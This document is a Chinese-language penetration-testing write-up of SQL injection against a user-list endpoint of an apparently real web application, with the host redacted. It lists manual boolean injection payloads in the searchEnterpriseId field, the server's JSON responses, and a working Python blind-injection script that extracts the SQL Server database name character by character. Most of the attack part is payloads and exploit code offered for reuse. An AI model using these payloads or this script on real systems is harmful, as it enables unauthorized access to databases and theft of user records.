1.渗透目标

http://[目标]/General/User/UserListPager
该接口通过post参数可以提取用户信息,Id处存在sql注入
用sqlmap只可以跑出来堆叠注入,结果不稳定所以选择手工分析,判断是否可以布尔型注入。

2.渗透流程

1.单引号闭合提取所有信息
能提取出所有信息,message为null

CurrentNum=1&PageSize=1000&keyword=a&searchEnterpriseId=1' or '1'='1&searchOrganizationId=
猜测sql语句
select * from [表名] where enterpriseId='[id]';

2.语句为真取出信息,注释符注释掉后续内容,
message为No data

CurrentNum=1&PageSize=1000&keyword=a&searchEnterpriseId=1' or '1'='1' --+&searchOrganizationId=
3.借助步骤1时提取出的一个enterpriseId注入,使用注释符, message为No data
CurrentNum=1&PageSize=1000&keyword=a&searchEnterpriseId=1b5df7a9f48646aa9028a8415d059697' --+&searchOrganizationId=
4.借助enterpriseId注入,使用单引号闭合, message为null
CurrentNum=1&PageSize=1000&keyword=a&searchEnterpriseId=1b5df7a9f48646aa9028a8415d059697' or '1'='1&searchOrganizationId=
5.其他测试
CurrentNum=1&PageSize=1000&keyword=a&searchEnterpriseId=1 --+&searchOrganizationId=
{"CurrentNum":1,"PageSize":1000,"TotalCount":0,"Info":[],"tag":1,"message":null}
CurrentNum=1&PageSize=1000&keyword=a&searchEnterpriseId=1' --+&searchOrganizationId=
{"CurrentNum":1,"PageSize":1000,"TotalCount":0,"Info":[],"tag":1,"message":"No data"}

6.推测:
TotalCount为执行语句后提取的信息的条数。
当语句能够正确执行时,如果有注释符则语句也会执行但不会正常返回json数据,同时Message变为No data。
如果没有注释符而是采用’1’=’1方式闭合,则可以正常执行并返回json数据,Message为null。

3.脚本编写

通过以下参数编写exp

searchEnterpriseId=1' or '1'='1' --+&searchOrganizationId=&keyword=1&PageSize=15&CurrentNum=1

当判断为假,返回的totalcount为0

当判断为真,返回的totalcount为13

提取库名:
sqlserver数据库,使用substring和db_name()

import requests
import time

url = "http://[目标]/General/User/UserListPager"
res = ""
proxies = {}
#从pos位截取
for pos in range(1, 50):
    for i in range(33, 127):
        payload = "1' or ascii(substring((select db_name()),"+str(pos)+",1))="+str(i)+" --+"
        data = {"searchEnterpriseId":payload,"searchOrganizationId":"","keyword":"1","PageSize":"15","CurrentNum":"1"}
        ret = requests.get(url,data=data,proxies=proxies)
        judge = ret.json()["TotalCount"]
        #根据站点的Totalcount制定
        if (judge == 13):
            res = res+chr(i)
            print(res)
print(res)

4.总结

1.面对多参数sql注入时需注意细节,查看发送不同参数导致的结果变化。
2.工具有时测不出来或测出来有问题可以手测然后自己写脚本。
3.不同数据库注入时语法不一样,写脚本要用对应的函数。